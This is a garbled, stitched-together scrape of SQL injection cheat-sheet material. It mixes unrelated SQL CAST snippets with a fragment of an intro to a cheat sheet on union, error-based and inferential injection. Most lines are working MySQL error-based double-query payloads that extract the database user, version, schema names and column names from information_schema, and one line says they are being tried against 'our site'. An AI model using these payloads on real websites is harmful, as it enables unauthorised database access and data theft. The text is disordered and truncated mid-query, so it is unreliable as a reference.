select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
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1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
It returns a hexadecimal value of 4100: SELECT CAST(CAST(0x41 AS nvarchar) AS varbinary). Large-value data types.
...(select 1 from(select count(*),concat((select (select (select distinct concat(version(),0x27,0x7e) limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
...(select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema`.tables limit 0,1)
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x726174696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
Almost the same as splitting keywords.
As SQL injections can loosely be grouped into three categories, union based, error based (XPath and double query) and inferential (time based and boolean), I have listed them as such. Below you will find MySQL specific syntax whilst I will post my MSSQL cheat sheet shortly. To avoid repetition, anywhere...